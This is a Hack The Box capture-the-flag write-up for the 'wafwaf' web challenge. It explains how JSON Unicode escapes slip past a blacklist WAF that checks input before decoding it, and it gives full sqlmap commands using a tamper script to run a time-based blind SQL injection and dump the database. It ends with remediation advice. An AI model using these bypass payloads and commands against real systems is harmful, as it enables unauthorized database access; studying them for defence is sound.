RouSoftware
all writeups
Hack The Box August 19, 2026

wafwaf

A classic decode-after-check vulnerability to blacklist based WAF bypass, leading to a blind SQLi.

SQL InjectionWeb
target.dossier
platform
Hack The Box
type
Challenge
os
Linux
difficulty
medium
status
Retired
released
Apr 20, 2020
Contents

wafwaf — JSON Unicode Escapes to Time-Based SQL Injection

Overview

wafwaf is a Medium Web challenge built around a SQL injection hidden behind a blacklist-based WAF.

The SQL injection itself is easy to spot: user-controlled input is passed into vsprintf() and inserted directly into a SQL query. The interesting part is bypassing the WAF.

The key mistake is that the application checks the raw JSON request body before decoding it. JSON Unicode escapes therefore allow us to represent blocked SQL characters in a form that the regex does not recognize. After the WAF accepts the request, json_decode() converts those escapes back into the characters needed for SQL injection.

Because the query result is never returned to us, the resulting injection is blind. A time-based SQL injection gives us an observable side channel, and SQLMap can automate the extraction once its JSON handling is configured correctly.

My approach was:

  1. Find the SQL injection vector in the query construction.
  2. Understand exactly what the WAF checks.
  3. Notice that json_decode() runs after the WAF.
  4. Encode blocked SQL syntax using JSON Unicode escapes.
  5. Confirm that the endpoint is blind.
  6. Adapt SQLMap with charunicodeescape.
  7. Prevent SQLMap from double-escaping the generated payload.
  8. Enumerate the database, tables, and flag.

Finding the SQL Injection

The application source is:

PHP
<?php
error_reporting(0);
require 'config.php';

class db extends Connection {
    public function waf($s) {
        if (preg_match_all('/'. implode('|', array(
            '[' . preg_quote("(*<=>|'&-@") . ']',
            'select', 'and', 'or', 'if', 'by', 'from',
            'where', 'as', 'is', 'in', 'not', 'having'
        )) . '/i', $s, $matches))
            die(var_dump($matches[0]));

        return json_decode($s);
    }

    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);

        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $obj = $db->waf(file_get_contents('php://input'));

    $db->query(
        "SELECT note FROM notes WHERE assignee = '%s'",
        $obj->user
    );
} else {
    die(highlight_file(__FILE__, 1));
}
?>

The vulnerable part is:

PHP
$db->query(
    "SELECT note FROM notes WHERE assignee = '%s'",
    $obj->user
);

combined with:

PHP
return parent::query(vsprintf($sql, $args));

vsprintf() performs string formatting. It is not a SQL escaping or parameterization mechanism.

If we could control $obj->user freely, something such as:

' OR 1=1 #

would transform the query into approximately:

SQL
SELECT note
FROM notes
WHERE assignee = '' OR 1=1 #'

So the SQL injection primitive is obvious.

The problem is getting that payload through the WAF.


Understanding the WAF

Before decoding the JSON body, the application runs:

PHP
preg_match_all(
    '/'. implode('|', array(
        '[' . preg_quote("(*<=>|'&-@") . ']',
        'select',
        'and',
        'or',
        'if',
        'by',
        'from',
        'where',
        'as',
        'is',
        'in',
        'not',
        'having'
    )) . '/i',
    $s,
    $matches
)

The blacklist catches both SQL keywords and useful SQL metacharacters.

Among other things, it blocks:

(
*
<
=
>
|
'
&
-
@

and:

SELECT
AND
OR
IF
BY
FROM
WHERE
AS
IS
IN
NOT
HAVING

A normal payload is therefore immediately rejected.

For example:

JSON
{"user":"' OR 1=1 #"}

contains several blacklisted values:

'
OR
=

and the application dies inside the WAF.


Detour: Can We Bypass the Regex Directly?

With blacklist challenges, the first instinct is usually to attack the regex itself.

Maybe there is an anchor issue.

Maybe a newline changes the behavior.

Maybe URL encoding is decoded at a different stage.

Maybe the keyword matching can be broken with whitespace or comments.

In this case, that line of attack is mostly a dead end.

The more important question is not:

How do we make preg_match_all() fail to recognize a character?

It is:

Is the string checked by preg_match_all() actually the same string that reaches SQL?

It is not.


The Actual Bug: Decode After Check

The WAF operates on:

PHP
file_get_contents('php://input')

which is the raw request body.

Only after the WAF accepts that body does the application execute:

PHP
return json_decode($s);

This creates a canonicalization problem.

JSON supports Unicode escape sequences of the form:

\uXXXX

For example:

'

can be represented as:

\u0027

Similarly:

OR

can be represented as:

\u004f\u0052

and:

=

as:

\u003d

Therefore:

' OR 1=1 #

can be encoded as:

\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023

Our request becomes:

JSON
{
  "user": "\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023"
}

The important part is that the WAF sees the raw representation:

\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023

There is no literal:

'
OR
=

for the blacklist to match.

The request therefore passes.

Then PHP executes:

PHP
json_decode($s);

and the value becomes:

' OR 1=1 #

So the flow is:

Raw HTTP body
    |
    v
"\u0027\u0020\u004f\u0052..."
    |
    v
preg_match_all()
    |
    | no blocked characters found
    v
json_decode()
    |
    v
"' OR 1=1 #"
    |
    v
vsprintf()
    |
    v
SQL injection

The vulnerability is therefore not really a weakness in preg_match_all().

The application validates one representation of the data and then uses a different decoded representation in the security-sensitive operation.


Why the Payload Returns Nothing

Sending:

JSON
{
  "user": "\u0027\u0020\u004f\u0052\u0020\u0031\u003d\u0031\u0020\u0023"
}

produces an empty response.

At first this might look like the injection failed.

It did not.

Look at the application again:

PHP
$db->query(
    "SELECT note FROM notes WHERE assignee = '%s'",
    $obj->user
);

The query is executed, but its return value is discarded.

There is no:

PHP
echo

or:

PHP
var_dump()

or result fetching code.

So from the HTTP response alone:

true SQL condition  -> empty response
false SQL condition -> empty response

We cannot directly distinguish between them.

The injection is therefore blind.

We need another observable difference.


Moving to Time-Based SQL Injection

MySQL gives us the necessary primitive through time delays.

Instead of trying to make the database return visible data, we make the response take longer when a condition is true.

Conceptually:

condition false
    |
    v
request returns immediately

condition true
    |
    v
database waits several seconds
    |
    v
request returns later

This gives SQLMap an oracle it can use to extract information one condition at a time.

Doing that manually would be possible, but unnecessarily painful.

SQLMap already implements time-based blind extraction.


Using SQLMap

We first give SQLMap an explicit injection point using *:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --technique=T

SQLMap recognizes the marker:

custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q]

We answer:

Y

However, this still does not work.

SQLMap's generated payloads contain normal SQL characters, so the WAF catches them.

We need SQLMap to produce the same \uXXXX encoding that we used manually.


charunicodeescape

SQLMap ships with the charunicodeescape tamper script.

We add:

--tamper=charunicodeescape

giving:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --technique=T \
  --tamper=charunicodeescape

The generated SQL payload is now transformed into JSON-style Unicode escapes.

For example, SQLMap may report something similar to:

[PAYLOAD] \u0027\u0020\u0057\u0041\u0049\u0054\u0046\u004F\u0052...

That looks correct.

But the injection still fails.

So we inspect the actual HTTP request with:

-v 6

SQLMap Is Escaping the Escapes

With verbose traffic output enabled, SQLMap shows something like:

[PAYLOAD]
\u0027\u0020\u0057\u0041\u0049\u0054\u0046\u004F\u0052...

[TRAFFIC OUT]
POST / HTTP/1.1
Content-Type: application/json

{"user":"\\u0027\\u0020\\u0057\\u0041\\u0049\\u0054\\u0046\\u004F\\u0052..."}

That difference is critical.

The tamper script generated:

\u0027

but SQLMap actually sent:

\\u0027

Why?

Because SQLMap detected that our POST body was JSON.

It then serialized the payload as JSON, escaping the backslash in the process.

This changes the meaning of the input.

Consider:

JSON
{"user":"\u0027"}

After json_decode():

'

But:

JSON
{"user":"\\u0027"}

becomes approximately:

\u0027

as a literal string.

The Unicode escape survives instead of being converted into a quote.

Our bypass therefore disappears.


Preventing SQLMap From Processing the JSON

When SQLMap sees the body, it asks:

JSON data found in POST body.
Do you want to process it? [Y/n/q]

The answer here must be:

N

This sounds slightly counterintuitive because the request really is JSON.

However, we do not want SQLMap's JSON-aware payload processing. We want it to treat the POST body as raw data and replace our custom * marker directly.

The correct interaction is therefore:

custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q] Y

JSON data found in POST body.
Do you want to process it? [Y/n/q] N

The distinction is:

Custom marker processing: YES
JSON processing:          NO

We still send:

HTTP
Content-Type: application/json

so PHP receives valid JSON.

We are only preventing SQLMap from parsing and reserializing the body internally.

With this configuration, the request contains:

JSON
{"user":"\u0027\u0020..."}

rather than:

JSON
{"user":"\\u0027\\u0020..."}

Now the application behaves exactly like our manual test:

SQLMap payload
    |
    v
charunicodeescape
    |
    v
\uXXXX sequences
    |
    v
raw JSON request
    |
    v
WAF sees encoded representation
    |
    v
json_decode()
    |
    v
real SQL syntax appears
    |
    v
time-based SQL injection

And SQLMap successfully detects the injection.


Final SQLMap Command

The base command is:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --tamper=charunicodeescape \
  --technique=T

When prompted:

custom injection marker ('*') found in POST body.
Do you want to process it? [Y/n/q] Y

Answer:

Y

Then:

JSON data found in POST body.
Do you want to process it? [Y/n/q]

answer:

N

If anything behaves unexpectedly, adding:

-v 6

is extremely useful because it lets us compare SQLMap's logical payload with the bytes actually sent over HTTP.


Enumerating the Database

Once SQLMap recognizes the time-based injection, we can enumerate the current database:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --tamper=charunicodeescape \
  --technique=T \
  --current-db

This gives us the challenge database name.

I will refer to it as:

<DB_NAME>

below, since the original notes contain two slightly different database identifiers.


Enumerating Tables

Next:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --tamper=charunicodeescape \
  --technique=T \
  -D <DB_NAME> \
  --tables

The interesting tables are:

notes
definitely_not_a_flag

One of those names is considerably less subtle than the other.


Dumping the Flag

Finally:

Bash
sqlmap \
  -u http://<HOST>/ \
  -X POST \
  --data '{"user":"*"}' \
  --headers='Content-Type: application/json' \
  --tamper=charunicodeescape \
  --technique=T \
  -D <DB_NAME> \
  -T definitely_not_a_flag \
  --dump

SQLMap performs the time-based extraction and dumps the contents of the table, giving us the flag.


Why the Vulnerability Exists

There are really two separate issues.

1. SQL Is Constructed With String Formatting

The application uses:

PHP
vsprintf($sql, $args)

to insert attacker-controlled data into the SQL statement.

That means input can become SQL syntax.

The correct solution would be a parameterized query, for example:

PHP
$stmt = $pdo->prepare(
    'SELECT note FROM notes WHERE assignee = ?'
);

$stmt->execute([$obj->user]);

With parameter binding, a value such as:

' OR 1=1 #

remains data instead of becoming part of the SQL grammar.

2. Validation Happens Before Canonicalization

Even if we ignore the SQL injection bug, the WAF makes another fundamental mistake:

validate raw input
        |
        v
decode / transform input
        |
        v
use transformed input

Security checks should generally operate on the same canonical representation that the application later uses.

Here:

WAF input:
\u0027\u004f\u0052...

Application input:
'OR...

The WAF and SQL layer are effectively looking at two different strings.

The blacklist therefore provides a false sense of security.


Exploit Chain

The complete challenge can be summarized as:

Attacker-controlled JSON
        |
        v
{"user":"\u0027..."}
        |
        v
preg_match_all() checks RAW JSON
        |
        | no literal SQL metacharacters
        v
json_decode()
        |
        v
Unicode escapes become SQL syntax
        |
        v
vsprintf()
        |
        v
SQL injection
        |
        v
query result not reflected
        |
        v
blind SQL injection
        |
        v
time-delay oracle
        |
        v
SQLMap + charunicodeescape
        |
        v
database enumeration
        |
        v
flag

Conclusion

The initial SQL injection in wafwaf is straightforward. The more interesting part is understanding why the apparently aggressive WAF does not actually protect it.

The important observation is that the WAF and the database do not operate on the same representation of the input.

The WAF checks:

\u0027\u0020\u004f\u0052...

while the SQL query eventually receives:

' OR ...

json_decode() sits between those two operations and transforms input after it has already been declared safe.

The endpoint then introduces a second challenge: even after bypassing the WAF, no query results are reflected in the response. This forces us to move from ordinary SQL injection to a blind technique. Time delays provide the required side channel.

Finally, SQLMap introduces its own encoding problem. charunicodeescape generates exactly the representation we need, but SQLMap's JSON processing escapes the backslashes a second time. Declining JSON processing while keeping the custom * injection marker solves that problem.

The full chain is therefore:

SQL injection
    +
check-before-decode
    +
JSON Unicode escapes
    +
time-based blind extraction
    +
SQLMap tamper

The main lesson from the challenge is that input validation is highly dependent on when it occurs.

Checking input and then transforming it afterward can invalidate every assumption made by the check.

And, as usual, a blacklist is not a replacement for parameterized SQL.


References

wafwaf — RouSoftware